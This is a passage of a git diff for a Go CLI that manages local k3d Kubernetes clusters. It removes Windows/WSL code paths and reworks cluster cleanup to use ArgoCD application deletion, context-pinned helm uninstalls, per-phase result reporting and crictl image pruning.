fmt.Printf("✓ Retrieved WSL IP for Go client: %s\n", wslIP) - } - - // Replace all server addresses with the WSL IP - for clusterName, cluster := range config.Clusters { - // Extract the port from the current server URL - re := regexp.MustCompile(`:(\d+)`) - match := re.FindStringSubmatch(cluster.Server) - - if len(match) > 1 { - oldServer := cluster.Server - cluster.Server = fmt.Sprintf("https://%s:%s", wslIP, match[1]) - if m.verbose { - fmt.Printf("Rewrote KubeAPI host for cluster %s: %s -> %s\n", clusterName, oldServer, cluster.Server) - } - } - } - - // Check if the context exists - if _, exists := config.Contexts[contextName]; !exists { - return nil, fmt.Errorf("kubectl context %s not found in kubeconfig content", contextName) - } - - // Switch the current context in memory - config.CurrentContext = contextName - - if m.verbose { - fmt.Printf("✓ Loaded kubeconfig from WSL and set context to %s\n", contextName) - } - - // Build REST config from the in-memory kubeconfig - restConfig, err = clientcmd.NewDefaultClientConfig(*config, &clientcmd.ConfigOverrides{}).ClientConfig() - if err != nil { - return nil, fmt.Errorf("failed to build REST config from in-memory kubeconfig: %w", err) - } - } else { - // Non-Windows: use file-based kubeconfig - kubeconfigPath := m.getKubeconfigPath() + // No Windows branch: the CLI forwards into WSL and runs as linux (see wsllauncher), + // so the file-based kubeconfig is always used. + kubeconfigPath := m.getKubeconfigPath() - // Load the Kubeconfig file - config, err := clientcmd.LoadFromFile(kubeconfigPath) - if err != nil { - return nil, fmt.Errorf("failed to load kubeconfig file from %s: %w", kubeconfigPath, err) - } + // Load the Kubeconfig file + config, err := clientcmd.LoadFromFile(kubeconfigPath) + if err != nil { + return nil, fmt.Errorf("failed to load kubeconfig file from %s: %w", kubeconfigPath, err) + } - // Check if the context exists - if _, exists := config.Contexts[contextName]; !exists { - return nil, fmt.Errorf("kubectl context %s not found in kubeconfig", contextName) - } + // Check if the context exists + if _, exists := config.Contexts[contextName]; !exists { + return nil, fmt.Errorf("kubectl context %s not found in kubeconfig", contextName) + } - // Switch the current context - config.CurrentContext = contextName - if err := clientcmd.WriteToFile(*config, kubeconfigPath); err != nil { - return nil, fmt.Errorf("failed to switch and write kubectl context: %w", err) - } + // Switch the current context + config.CurrentContext = contextName + if err := clientcmd.WriteToFile(*config, kubeconfigPath); err != nil { + return nil, fmt.Errorf("failed to switch and write kubectl context: %w", err) + } - if m.verbose { - fmt.Printf("✓ Switched kubectl context to %s\n", contextName) - } + if m.verbose { + fmt.Printf("✓ Switched kubectl context to %s\n", contextName) + } - // Build rest.Config from the loaded Kubeconfig - restConfig, err = clientcmd.NewNonInteractiveDeferredLoadingClientConfig( - &clientcmd.ClientConfigLoadingRules{ExplicitPath: kubeconfigPath}, - &clientcmd.ConfigOverrides{CurrentContext: contextName}, - ).ClientConfig() - if err != nil { - return nil, fmt.Errorf("failed to build REST config: %w", err) - } + // Build rest.Config from the loaded Kubeconfig + restConfig, err = clientcmd.NewNonInteractiveDeferredLoadingClientConfig( + &clientcmd.ClientConfigLoadingRules{ExplicitPath: kubeconfigPath}, + &clientcmd.ConfigOverrides{CurrentContext: contextName}, + ).ClientConfig() + if err != nil { + return nil, fmt.Errorf("failed to build REST config: %w", err) } // CRITICAL FIX: Bypass TLS Verification for local k3d clusters @@ -146,12 +82,7 @@ func (m *K3dManager) verifyClusterReachable(ctx context.Context, clusterName str port = "6550" } - // Brief pause before TCP check on Windows/WSL2 - // This gives the port mapping time to stabilize after k3d reports success - if runtime.GOOS == "windows" { - time.Sleep(500 * time.Millisecond) - } - + // No Windows branch: the CLI forwards into WSL and runs as linux (see wsllauncher). // Wait for TCP port to be available before attempting API calls // This prevents flooding a dead port with requests on Windows/WSL2 tcpRetries := 10 @@ -328,158 +259,19 @@ func (m *K3dManager) getKubeconfigPath() string { return filepath.Join(homeDir, ".kube", "config") } -// getKubeconfigContentFromWSL fetches kubeconfig content directly from k3d inside WSL -// This avoids Windows filesystem path issues by loading content into memory -func (m *K3dManager) getKubeconfigContentFromWSL(ctx context.Context, clusterName string) (string, error) { - args := []string{"kubeconfig", "get", clusterName} - - // Execute the command - the executor will automatically wrap with 'wsl -d Ubuntu k3d ...' - result, err := m.executor.Execute(ctx, "k3d", args...) - if err != nil { - return "", fmt.Errorf("failed to get kubeconfig content from k3d: %w", err) - } - - return result.Stdout, nil -} - -// extractIPFromRouteOutput extracts a valid IPv4 address from route command output. -// This handles cases where the awk command doesn't properly extract field 3, -// returning the full line like "default via 172.21.96.1 dev eth0 proto kernel". -// It scans the output for a valid IPv4 address and returns it. -func extractIPFromRouteOutput(output string) string { - output = strings.TrimSpace(output) - if output == "" { - return "" - } - - // If it's already a valid IP, return it - if net.ParseIP(output) != nil { - return output - } - - // Otherwise, scan through the fields looking for an IP address - // This handles both "ip route" output and other formats - fields := strings.Fields(output) - for _, field := range fields { - if ip := net.ParseIP(field); ip != nil { - // Ensure it's an IPv4 address (not IPv6) - if ip.To4() != nil { - return field - } - } - } - - return "" -} - -// getWSLInternalIP retrieves the WSL2 VM's own IP address (eth0 interface). -// This is the IP that Windows can use to reach services running inside WSL2. -// Docker runs inside WSL2 Ubuntu, and ports exposed by Docker are accessible -// via this IP from Windows. +// cleanupStaleLockFiles removes any stale kubeconfig lock files. // -// Note: This is different from the Windows host IP (default gateway from WSL's perspective). -// - WSL eth0 IP (e.g., 172.x.x.2): WSL's own IP, reachable from Windows -// - Windows host IP (e.g., 172.x.x.1): The gateway, used by WSL to reach Windows -func (m *K3dManager) getWSLInternalIP(ctx context.Context) (string, error) { - // Get the WSL user for running the command - username, err := m.getWSLUser(ctx) - if err != nil { - return "", fmt.Errorf("failed to get WSL user: %w", err) - } - - // Get WSL's own IP address (eth0 interface) - // This is the IP that Windows can use to reach services in WSL2 - // The 'hostname -I' command returns all IP addresses, we take the first one (usually eth0) - ipCmd := "hostname -I | awk '{print $1}'" - result, err := m.executor.Execute(ctx, "wsl", "-d", "Ubuntu", "-u", username, "bash", "-c", ipCmd) - if err != nil { - return "", fmt.Errorf("failed to get WSL IP address: %w", err) - } - - ip := strings.TrimSpace(result.Stdout) - - // Fallback: try getting eth0 IP directly - if ip == "" { - ipCmd = "ip addr show eth0 2>/dev/null | grep 'inet ' | awk '{print $2}' | cut -d/ -f1" - result, err = m.executor.Execute(ctx, "wsl", "-d", "Ubuntu", "-u", username, "bash", "-c", ipCmd) - if err != nil { - return "", fmt.Errorf("failed to get WSL eth0 IP: %w", err) - } - ip = strings.TrimSpace(result.Stdout) - } - - if ip == "" { - return "", fmt.Errorf("WSL IP address is empty - could not determine from hostname or eth0") - } - - // Validate that it's a proper IPv4 address using net.ParseIP - if net.ParseIP(ip) == nil { - return "", fmt.Errorf("invalid WSL IP format: %s", ip) - } - - return ip, nil -} - -// cleanupStaleLockFiles removes any stale kubeconfig lock files +// No Windows branch: the CLI forwards into WSL and runs as linux (see wsllauncher). func (m *K3dManager) cleanupStaleLockFiles(ctx context.Context) error { - if runtime.GOOS == "windows" { - // Get the WSL user - username, err := m.getWSLUser(ctx) - if err != nil { - return fmt.Errorf("failed to get WSL user: %w", err) - } - - // Remove lock files in WSL - cleanupCmd := "rm -f ~/.kube/config.lock ~/.kube/config.lock.* 2>/dev/null || true" - _, err = m.executor.Execute(ctx, "wsl", "-d", "Ubuntu", "-u", username, "bash", "-c", cleanupCmd) - if err != nil { - return fmt.Errorf("failed to cleanup lock files: %w", err) - } - } else { - // Linux/macOS: Remove lock files - cleanupCmd := "rm -f ~/.kube/config.lock ~/.kube/config.lock.* 2>/dev/null || true" - _, err := m.executor.Execute(ctx, "bash", "-c", cleanupCmd) - if err != nil { - return fmt.Errorf("failed to cleanup lock files: %w", err) - } - } - - if m.verbose { - fmt.Println("✓ Cleaned up stale kubeconfig lock files") - } - - return nil -} - -// rewriteWSLKubeconfigServerAddress rewrites the kubeconfig file in WSL to use 127.0.0.1 -// instead of 0.0.0.0. This is necessary because: -// - k3d writes 0.0.0.0 as the server address which doesn't work for connections -// - Docker runs INSIDE WSL2 Ubuntu (not Docker Desktop), so k3d is in the same network namespace -// - From Ubuntu WSL, 127.0.0.1 refers to the WSL loopback where Docker/k3d is listening -// - We only need to rewrite 0.0.0.0 to 127.0.0.1 -func (m *K3dManager) rewriteWSLKubeconfigServerAddress(ctx context.Context, _ string) error { - // Only needed on Windows where helm runs inside WSL - if runtime.GOOS != "windows" { - return nil - } - - // Get the WSL user - username, err := m.getWSLUser(ctx) - if err != nil { - return fmt.Errorf("failed to get WSL user: %w", err) - } - - // Use sed to replace 0.0.0.0 with 127.0.0.1 - // Docker runs inside WSL2 Ubuntu, so localhost (127.0.0.1) is the correct address - sedCmd := `sed -i 's|server: https://0\.0\.0\.0:|server: https://127.0.0.1:|g' ~/.kube/config` - - _, err = m.executor.Execute(ctx, "wsl", "-d", "Ubuntu", "-u", username, "bash", "-c", sedCmd) + // Linux/macOS: Remove lock files + cleanupCmd := "rm -f ~/.kube/config.lock ~/.kube/config.lock.* 2>/dev/null || true" + _, err := m.executor.Execute(ctx, "bash", "-c", cleanupCmd) if err != nil { - return fmt.Errorf("failed to rewrite kubeconfig server address: %w", err) + return fmt.Errorf("failed to cleanup lock files: %w", err) } if m.verbose { - fmt.Println("✓ Rewrote kubeconfig server addresses to use 127.0.0.1") + fmt.Println("✓ Cleaned up stale kubeconfig lock files") } return nil diff --git a/internal/cluster/providers/k3d/wsl.go b/internal/cluster/providers/k3d/wsl.go index 5dfbcdf1..f0dc190e 100644 --- a/internal/cluster/providers/k3d/wsl.go +++ b/internal/cluster/providers/k3d/wsl.go @@ -3,39 +3,9 @@ package k3d import ( "context" "fmt" - "runtime" - "strings" "time" ) -// convertWindowsPathToWSL converts a Windows path to a WSL path format -// Example: C:\Users\foo\file.txt -> /mnt/c/Users/foo/file.txt -func (m *K3dManager) convertWindowsPathToWSL(windowsPath string) (string, error) { - if windowsPath == "" { - return "", fmt.Errorf("empty path provided") - } - - // Expand Windows 8.3 short filenames to long path names - // For example: C:\Users\RUNNER~1\... -> C:\Users\runneradmin\... - // This is critical because WSL doesn't understand Windows short filenames - expandedPath, err := expandShortPath(windowsPath) - if err == nil && expandedPath != "" { - windowsPath = expandedPath - } - - // Replace backslashes with forward slashes - path := strings.ReplaceAll(windowsPath, "\\", "/") - - // Convert drive letter (e.g., C: -> /mnt/c) - if len(path) >= 2 && path[1] == ':' { - driveLetter := strings.ToLower(string(path[0])) - // Remove the drive letter and colon, then prepend /mnt/ - path = "/mnt/" + driveLetter + path[2:] - } - - return path, nil -} - // k3dClusterInfo represents the JSON structure returned by k3d cluster list type k3dClusterInfo struct { Name string `json:"name"` @@ -62,103 +32,39 @@ type PortMapping struct { HostPort string `json:"HostPort"` } -// getWSLUser determines the correct WSL user to use for kubeconfig operations -// It tries to detect the non-root user that k3d/kubectl will run as -func (m *K3dManager) getWSLUser(ctx context.Context) (string, error) { - // First, try to get the user specified for the runner user (standard in GitHub Actions) - result, err := m.executor.Execute(ctx, "wsl", "-d", "Ubuntu", "-u", "runner", "whoami") - if err == nil && strings.TrimSpace(result.Stdout) == "runner" { - return "runner", nil - } - - // If runner doesn't exist, try to find the first non-root user with a home directory - result, err = m.executor.Execute(ctx, "wsl", "-d", "Ubuntu", "bash", "-c", "getent passwd | grep '/home/' | head -1 | cut -d: -f1") - if err == nil && strings.TrimSpace(result.Stdout) != "" { - username := strings.TrimSpace(result.Stdout) - // Verify this user exists and has a home directory - if verifyResult, verifyErr := m.executor.Execute(ctx, "wsl", "-d", "Ubuntu", "-u", username, "whoami"); verifyErr == nil { - if strings.TrimSpace(verifyResult.Stdout) == username { - return username, nil - } - } - } - - // If we can't detect a proper user, default to "runner" (common in CI environments) - // This is safer than using root, which causes permission issues - return "runner", nil -} - -// prepareKubeconfigDirectory ensures ~/.kube directory exists with proper permissions on Windows/WSL and Linux +// prepareKubeconfigDirectory ensures ~/.kube directory exists with proper permissions. +// +// No Windows branch: the CLI forwards into WSL and runs as linux (see wsllauncher). func (m *K3dManager) prepareKubeconfigDirectory(ctx context.Context) error { - if runtime.GOOS == "windows" { - // Get the WSL user that k3d will run as - // The wrappers in the workflow use "runner", so we should detect or default to that - username, err := m.getWSLUser(ctx) - if err != nil { - return fmt.Errorf("failed to get WSL user: %w", err) - } - - // Create .kube directory with proper permissions in WSL - createCmd := "mkdir -p ~/.kube && chmod 755 ~/.kube" - _, err = m.executor.Execute(ctx, "wsl", "-d", "Ubuntu", "-u", username, "bash", "-c", createCmd) - if err != nil { - return fmt.Errorf("failed to create .kube directory: %w", err) - } - - if m.verbose { - fmt.Println("✓ Prepared kubeconfig directory in WSL") - } - } else { - // Linux/macOS: Create .kube directory with proper permissions - createCmd := "mkdir -p ~/.kube && chmod 755 ~/.kube" - _, err := m.executor.Execute(ctx, "bash", "-c", createCmd) - if err != nil { - return fmt.Errorf("failed to create .kube directory: %w", err) - } + // Linux/macOS: Create .kube directory with proper permissions + createCmd := "mkdir -p ~/.kube && chmod 755 ~/.kube" + _, err := m.executor.Execute(ctx, "bash", "-c", createCmd) + if err != nil { + return fmt.Errorf("failed to create .kube directory: %w", err) + } - if m.verbose { - fmt.Println("✓ Prepared kubeconfig directory") - } + if m.verbose { + fmt.Println("✓ Prepared kubeconfig directory") } return nil } -// fixKubeconfigPermissions fixes kubeconfig file permissions on Windows/WSL and Linux -// This is needed because k3d running with sudo creates ~/.kube/config with root ownership +// fixKubeconfigPermissions fixes kubeconfig file permissions. +// This is needed because k3d running with sudo creates ~/.kube/config with root ownership. +// +// No Windows branch: the CLI forwards into WSL and runs as linux (see wsllauncher). func (m *K3dManager) fixKubeconfigPermissions(ctx context.Context) error { - if runtime.GOOS == "windows" { - // Get the WSL user that k3d will run as - // The wrappers in the workflow use "runner", so we should detect or default to that - username, err := m.getWSLUser(ctx) - if err != nil { - return fmt.Errorf("failed to get WSL user: %w", err) - } - - // Fix ownership and permissions of both .kube directory and kubeconfig file in WSL - // This is critical because k3d runs with sudo and creates files as root, - // but kubectl needs to run as the regular user - fixCmd := fmt.Sprintf("test -d ~/.kube && sudo chown -R %s:%s ~/.kube && sudo chmod 755 ~/.kube && test -f ~/.kube/config && sudo chmod 600 ~/.kube/config", username, username) - _, err = m.executor.Execute(ctx, "wsl", "-d", "Ubuntu", "-u", username, "bash", "-c", fixCmd) - if err != nil { - return fmt.Errorf("failed to fix kubeconfig permissions: %w", err) - } - - if m.verbose { - fmt.Println("✓ Fixed kubeconfig directory and file permissions for WSL user") - } - } else { - // Linux/macOS: Fix permissions without changing ownership (assuming we're the owner) - // First check if the file exists and needs fixing - fixCmd := "test -f ~/.kube/config && chmod 600 ~/.kube/config || true" - _, err := m.executor.Execute(ctx, "bash", "-c", fixCmd) - if err != nil { - return fmt.Errorf("failed to fix kubeconfig permissions: %w", err) - } + // Linux/macOS: Fix permissions without changing ownership (assuming we're the owner) + // First check if the file exists and needs fixing + fixCmd := "test -f ~/.kube/config && chmod 600 ~/.kube/config || true" + _, err := m.executor.Execute(ctx, "bash", "-c", fixCmd) + if err != nil { + return fmt.Errorf("failed to fix kubeconfig permissions: %w", err) + } - if m.verbose { - fmt.Println("✓ Fixed kubeconfig permissions") - } + if m.verbose { + fmt.Println("✓ Fixed kubeconfig permissions") } return nil diff --git a/internal/cluster/service.go b/internal/cluster/service.go index 6512ad19..5541aead 100644 --- a/internal/cluster/service.go +++ b/internal/cluster/service.go @@ -2,6 +2,7 @@ package cluster import ( "context" + "encoding/json" "fmt" "os" "strings" @@ -12,6 +13,7 @@ import ( "github.com/flamingo-stack/openframe-cli/internal/cluster/provider" "github.com/flamingo-stack/openframe-cli/internal/cluster/providers/k3d" uiCluster "github.com/flamingo-stack/openframe-cli/internal/cluster/ui" + "github.com/flamingo-stack/openframe-cli/internal/k8s" "github.com/flamingo-stack/openframe-cli/internal/platform" sharedconfig "github.com/flamingo-stack/openframe-cli/internal/shared/config" "github.com/flamingo-stack/openframe-cli/internal/shared/executor" @@ -24,12 +26,40 @@ import ( "k8s.io/client-go/rest" ) +// ApplicationCleaner removes the ArgoCD Application CRs that own the platform +// workloads, and strips the resources-finalizer from any left in Terminating. +// +// Cleanup needs both, in that order around the Helm uninstall: Applications +// must be deleted while the ArgoCD controller still runs (so it cascades the +// workload cleanup), and the finalizers must be stripped afterwards, once the +// controller — the only thing that could clear them — is gone. Otherwise the +// CRs sit in Terminating forever and pin the argocd namespace. +// +// It is an interface because internal/cluster must not import internal/chart: +// the ArgoCD-backed implementation is injected by the command layer, exactly +// like ClusterAccess in the app subsystem. +type ApplicationCleaner interface { + DeleteApplications(ctx context.Context) (int, error) + RemoveApplicationFinalizers(ctx context.Context) (int, error) +} + // ClusterService provides cluster configuration and management operations // This handles cluster lifecycle operations and configuration management type ClusterService struct { manager provider.Provider executor executor.CommandExecutor suppressUI bool // Suppress interactive UI elements for automation + // appCleaner, when set, lets cleanup remove ArgoCD Applications before the + // Helm uninstall and strip their finalizers afterwards. Optional: nil means + // the Helm/namespace phases run as before (the CRs may then stay stuck). + appCleaner ApplicationCleaner +} + +// WithApplicationCleaner injects the ArgoCD-backed application cleaner used by +// the cleanup flow. Returns the service for chaining. +func (s *ClusterService) WithApplicationCleaner(c ApplicationCleaner) *ClusterService { + s.appCleaner = c + return s } // isTerminalEnvironment checks if we're running in a proper terminal @@ -61,14 +91,6 @@ func NewClusterServiceSuppressed(exec executor.CommandExecutor) *ClusterService } } -// NewClusterServiceWithOptions creates a cluster service with custom options -func NewClusterServiceWithOptions(exec executor.CommandExecutor, manager provider.Provider) *ClusterService { - return &ClusterService{ - manager: manager, - executor: exec, - } -} - // CreateCluster handles cluster creation operations // Returns the *rest.Config for the created cluster that can be used to interact with it func (s *ClusterService) CreateCluster(ctx context.Context, config models.ClusterConfig) (*rest.Config, error) { @@ -78,7 +100,7 @@ func (s *ClusterService) CreateCluster(ctx context.Context, config models.Cluste // Show warning for existing cluster pterm.Warning.Printf("Cluster '%s' already exists!\n", pterm.Cyan(config.Name)) - fmt.Println() + pterm.DefaultBasicText.Println() boxContent := fmt.Sprintf( "NAME: %s\n"+ @@ -100,11 +122,11 @@ func (s *ClusterService) CreateCluster(ctx context.Context, config models.Cluste // Show what user can do (suppress for automation) if !s.suppressUI { - fmt.Println() + pterm.DefaultBasicText.Println() pterm.Info.Printf("What would you like to do?\n") - pterm.Printf(" • Check status: openframe cluster status %s\n", config.Name) - pterm.Printf(" • Delete first: openframe cluster delete %s\n", config.Name) - pterm.Printf(" • Use different name: openframe cluster create my-new-cluster\n") + pterm.DefaultBasicText.Printf(" • Check status: openframe cluster status %s\n", config.Name) + pterm.DefaultBasicText.Printf(" • Delete first: openframe cluster delete %s\n", config.Name) + pterm.DefaultBasicText.Printf(" • Use different name: openframe cluster create my-new-cluster\n") } // Return the rest.Config for the existing cluster @@ -202,123 +224,174 @@ func (s *ClusterService) DetectClusterType(name string) (models.ClusterType, err return s.manager.DetectClusterType(ctx, name) } -// CleanupCluster handles cluster cleanup business logic -func (s *ClusterService) CleanupCluster(ctx context.Context, name string, clusterType models.ClusterType, verbose bool, force bool) error { +// CleanupCluster handles cluster cleanup business logic. The returned +// CleanupResult reports what was actually removed and which phases failed; a +// nil error with a non-empty Failures list is a partial cleanup. +func (s *ClusterService) CleanupCluster(ctx context.Context, name string, clusterType models.ClusterType, verbose bool, force bool) (models.CleanupResult, error) { switch clusterType { case models.ClusterTypeK3d: return s.cleanupK3dCluster(ctx, name, verbose, force) default: - return fmt.Errorf("cleanup not supported for cluster type: %s", clusterType) + return models.CleanupResult{}, fmt.Errorf("cleanup not supported for cluster type: %s", clusterType) } } -// cleanupK3dCluster handles K3d-specific cleanup -func (s *ClusterService) cleanupK3dCluster(ctx context.Context, clusterName string, verbose bool, force bool) error { +// cleanupK3dCluster handles K3d-specific cleanup. +// +// Every phase is best-effort: a failure is recorded and the next phase still +// runs, because a partly-installed cluster must remain tearable-down. Failures +// are surfaced (not just under --verbose) so "cleanup completed" never hides a +// phase that did nothing. +func (s *ClusterService) cleanupK3dCluster(ctx context.Context, clusterName string, verbose bool, force bool) (models.CleanupResult, error) { if verbose { pterm.Info.Printf("Starting cleanup of cluster: %s\n", clusterName) } - - // 1. Clean up Helm releases (including ArgoCD) - if err := s.cleanupHelmReleases(ctx, verbose, force); err != nil { - if verbose { - pterm.Warning.Printf("Failed to cleanup Helm releases: %v\n", err) + var result models.CleanupResult + + // 1. Delete the ArgoCD Applications WHILE the ArgoCD controller is still + // running, so it cascades the workload cleanup itself. Best-effort: a + // cluster without OpenFrame installed simply has none. + if s.appCleaner != nil { + deleted, err := s.appCleaner.DeleteApplications(ctx) + switch { + case err != nil: + result.AddFailure("ArgoCD applications", err) + default: + result.ApplicationsDeleted = deleted + if deleted > 0 && verbose { + pterm.Info.Printf("Deleted %d ArgoCD application(s)\n", deleted) + } } - // Don't fail completely if Helm cleanup fails } - // 2. Clean up Kubernetes resources in common namespaces - if err := s.cleanupKubernetesResources(ctx, clusterName, verbose, force); err != nil { - if verbose { - pterm.Warning.Printf("Failed to cleanup Kubernetes resources: %v\n", err) + // 2. Clean up Helm releases (including ArgoCD) — pinned to this cluster's + // kube-context. Without the pin helm operates on the kubeconfig's CURRENT + // context, which may be a different (even production) cluster. + kubeContext := k8s.ResolveContextForCluster(k8s.DefaultKubeconfigPath(), clusterName) + removed, err := s.cleanupHelmReleases(ctx, kubeContext, verbose, force) + result.ReleasesRemoved = removed + if err != nil { + result.AddFailure("Helm releases", err) + } + + // 3. ArgoCD is gone now, so nothing is left to clear its resources-finalizer. + // Strip it from any Application still in Terminating — otherwise those CRs + // (and the argocd namespace deleted in the next phase) never get reaped. + if s.appCleaner != nil { + cleared, err := s.appCleaner.RemoveApplicationFinalizers(ctx) + switch { + case err != nil: + result.AddFailure("application finalizers", err) + default: + result.FinalizersCleared = cleared + if cleared > 0 && verbose { + pterm.Info.Printf("Cleared finalizers on %d stuck application(s)\n", cleared) + } } - // Don't fail completely if K8s cleanup fails } - // 3. Clean up Docker images and containers in the cluster - if err := s.cleanupDockerResources(ctx, clusterName, verbose, force); err != nil { - if verbose { - pterm.Warning.Printf("Failed to cleanup Docker resources: %v\n", err) - } - // Don't fail completely if Docker cleanup fails + // 4. Clean up Kubernetes resources in common namespaces + deletedNS, err := s.cleanupKubernetesResources(ctx, clusterName, verbose, force) + result.NamespacesDeleted = deletedNS + if err != nil { + result.AddFailure("Kubernetes namespaces", err) + } + + // 5. Reclaim disk by pruning unused container images inside each node. + // Not gated on force: removing images no container references is safe, and + // reclaiming disk is the whole point of `cluster cleanup`. + pruned, err := s.cleanupNodeImages(ctx, clusterName, verbose) + result.NodesPruned = pruned + if err != nil { + result.AddFailure("Container images", err) } if verbose { pterm.Success.Printf("Cleanup completed for cluster: %s\n", clusterName) } - return nil + return result, nil } -// cleanupHelmReleases removes all Helm releases -func (s *ClusterService) cleanupHelmReleases(ctx context.Context, verbose bool, force bool) error { - // List all helm releases - result, err := s.executor.Execute(ctx, "helm", "list", "--all-namespaces", "--short") +// helmRelease is the subset of `helm list --output json` we consume. +type helmRelease struct { + Name string `json:"name"` + Namespace string `json:"namespace"` +} + +// cleanupHelmReleases removes all Helm releases from the cluster identified by +// kubeContext. The explicit --kube-context on every helm call is what keeps +// cleanup scoped to that cluster (T0-1): helm otherwise acts on the +// kubeconfig's current context, whatever the user last switched to. +// It returns the number of releases actually uninstalled. A release that fails +// to uninstall is counted as a failure, not as removed. +func (s *ClusterService) cleanupHelmReleases(ctx context.Context, kubeContext string, verbose bool, force bool) (int, error) { + if kubeContext == "" { + return 0, fmt.Errorf("refusing to cleanup Helm releases without an explicit kube-context") + } + + result, err := s.executor.Execute(ctx, "helm", "list", "--all-namespaces", "--output", "json", "--kube-context", kubeContext) if err != nil { - return fmt.Errorf("failed to list Helm releases: %w", err) + return 0, fmt.Errorf("failed to list Helm releases: %w", err) } - if result.Stdout == "" { + var releases []helmRelease + if out := strings.TrimSpace(result.Stdout); out != "" { + if err := json.Unmarshal([]byte(out), &releases); err != nil { + return 0, fmt.Errorf("failed to parse helm list output: %w", err) + } + } + if len(releases) == 0 { if verbose { pterm.Info.Println("No Helm releases found to cleanup") } - return nil + return 0, nil } - // Parse release names and uninstall each one - releases := strings.Split(strings.TrimSpace(result.Stdout), "\n") + var removed int + var failed []string for _, release := range releases { - release = strings.TrimSpace(release) - if release == "" { + if release.Name == "" || release.Namespace == "" { continue } if verbose { - pterm.Info.Printf("Uninstalling Helm release: %s\n", release) + pterm.Info.Printf("Uninstalling Helm release: %s (namespace %s)\n", release.Name, release.Namespace) + } + + // Aggressive uninstall, deliberately WITHOUT --wait: the releases here + // include argo-cd and app-of-apps, whose Application CRs carry ArgoCD's + // resources-finalizer. Once the ArgoCD controller is being removed it + // can no longer clear that finalizer, so --wait would block for helm's + // default 5m PER RELEASE (see UninstallRelease in + // internal/chart/providers/helm for the same rationale). + // + // The Application CRs left in Terminating are reaped by the + // finalizer-stripping phase that runs right after this one (see + // cleanupK3dCluster step 3), mirroring `app uninstall`. + args := []string{"uninstall", release.Name, "--namespace", release.Namespace, "--kube-context", kubeContext, "--no-hooks"} + if force { + // Add even more aggressive flags when force is enabled + args = append(args, "--ignore-not-found") } - - // Get release info to determine namespace - releaseInfo, err := s.executor.Execute(ctx, "helm", "list", "--filter", release, "--all-namespaces", "--output", "json") - if err != nil { + if _, err := s.executor.Execute(ctx, "helm", args...); err != nil { + failed = append(failed, release.Name) if verbose { - pterm.Warning.Printf("Failed to get info for release %s: %v\n", release, err) + pterm.Warning.Printf("Failed to uninstall release %s: %v\n", release.Name, err) } - continue - } - - // Simple JSON parsing to extract namespace - this is basic but functional - if strings.Contains(releaseInfo.Stdout, `"namespace"`) { - lines := strings.Split(releaseInfo.Stdout, "\n") - var namespace string - for _, line := range lines { - if strings.Contains(line, `"namespace"`) && strings.Contains(line, ":") { - parts := strings.Split(line, ":") - if len(parts) >= 2 { - namespace = strings.Trim(strings.TrimSpace(parts[1]), `",`) - break - } - } - } - - if namespace != "" { - // Always use aggressive uninstall for cleanup - args := []string{"uninstall", release, "--namespace", namespace, "--no-hooks", "--wait"} - if force { - // Add even more aggressive flags when force is enabled - args = append(args, "--ignore-not-found") - } - _, err := s.executor.Execute(ctx, "helm", args...) - if err != nil { - if verbose { - pterm.Warning.Printf("Failed to uninstall release %s: %v\n", release, err) - } - } else if verbose { - pterm.Success.Printf("Uninstalled Helm release: %s\n", release) - } + } else { + removed++ + if verbose { + pterm.Success.Printf("Uninstalled Helm release: %s\n", release.Name) } } } - return nil + if len(failed) > 0 { + return removed, fmt.Errorf("%d of %d release(s) could not be uninstalled: %s", + len(failed), len(releases), strings.Join(failed, ", ")) + } + return removed, nil } // protectedNamespaces must never be deleted by cleanup, regardless of --force. @@ -353,23 +426,27 @@ func filterProtectedNamespaces(raw []string) []string { // cleanupKubernetesResources removes namespaces created by OpenFrame components // via the native Kubernetes client (client-go). It never touches // protected/system namespaces. -func (s *ClusterService) cleanupKubernetesResources(ctx context.Context, clusterName string, verbose bool, _ bool) error { +// It returns the number of namespaces whose deletion was accepted by the API +// server. +func (s *ClusterService) cleanupKubernetesResources(ctx context.Context, clusterName string, verbose bool, _ bool) (int, error) { // On Windows the cluster lives in WSL and must be reached from inside WSL. if err := platform.WSLClusterHint("clean up OpenFrame namespaces"); err != nil { - return err + return 0, err } restConfig, err := s.manager.GetRestConfig(ctx, clusterName) if err != nil { - return fmt.Errorf("failed to get cluster config for cleanup: %w", err) + return 0, fmt.Errorf("failed to get cluster config for cleanup: %w", err) } client, err := kubernetes.NewForConfig(sharedconfig.ApplyInsecureTLSConfig(restConfig)) if err != nil { - return fmt.Errorf("failed to create kubernetes client: %w", err) + return 0, fmt.Errorf("failed to create kubernetes client: %w", err) } // Namespaces created by OpenFrame component installs. System namespaces are // intentionally absent and are additionally filtered (I7 defense-in-depth). + var deleted int + var failed []string for _, namespace := range filterProtectedNamespaces([]string{"argocd", "openframe"}) { if _, err := client.CoreV1().Namespaces().Get(ctx, namespace, metav1.GetOptions{}); err != nil { continue // doesn't exist (or unreachable) — skip @@ -380,99 +457,91 @@ func (s *ClusterService) cleanupKubernetesResources(ctx context.Context, cluster } if err := client.CoreV1().Namespaces().Delete(ctx, namespace, metav1.DeleteOptions{}); err != nil && !k8serrors.IsNotFound(err) { + failed = append(failed, namespace) if verbose { pterm.Warning.Printf("Failed to delete namespace %s: %v\n", namespace, err) } - } else if verbose { - pterm.Success.Printf("Deleted namespace: %s\n", namespace) + } else { + deleted++ + if verbose { + pterm.Success.Printf("Deleted namespace: %s\n", namespace) + } } } - return nil + if len(failed) > 0 { + return deleted, fmt.Errorf("could not delete namespace(s): %s", strings.Join(failed, ", ")) + } + return deleted, nil } -// cleanupDockerResources cleans up Docker images and containers in the k3d cluster -func (s *ClusterService) cleanupDockerResources(ctx context.Context, clusterName string, verbose bool, force bool) error { +// cleanupNodeImages reclaims disk by removing unused container images inside +// each k3d node. It returns the number of nodes pruned without error. +// +// The nodes run CONTAINERD, not Docker. They are `rancher/k3s` containers, and +// that image ships no docker binary at all — so the previous implementation, +// which ran `docker exec docker image|container|volume|network|system +// prune`, failed with exit 127 ("docker": executable file not found in $PATH) +// on every node, for every prune, on every cleanup. Every error was swallowed, +// so `cluster cleanup` reported success and reclaimed nothing, ever. +// +// crictl is the CRI client k3s provides: /bin/crictl is a symlink to the k3s +// multi-call binary, so it is always present in a k3d node (verified against +// rancher/k3s:v1.35.5-k3s1). `crictl rmi --prune` removes every image not +// referenced by a container. +// +// There is deliberately no container/volume/network/builder prune: those are +// Docker concepts with no containerd equivalent inside the node. Stopped pods +// are the kubelet's business, and the node's volumes and networks belong to the +// Docker daemon on the host, not to anything running inside the node. +func (s *ClusterService) cleanupNodeImages(ctx context.Context, clusterName string, verbose bool) (int, error) { if verbose { - 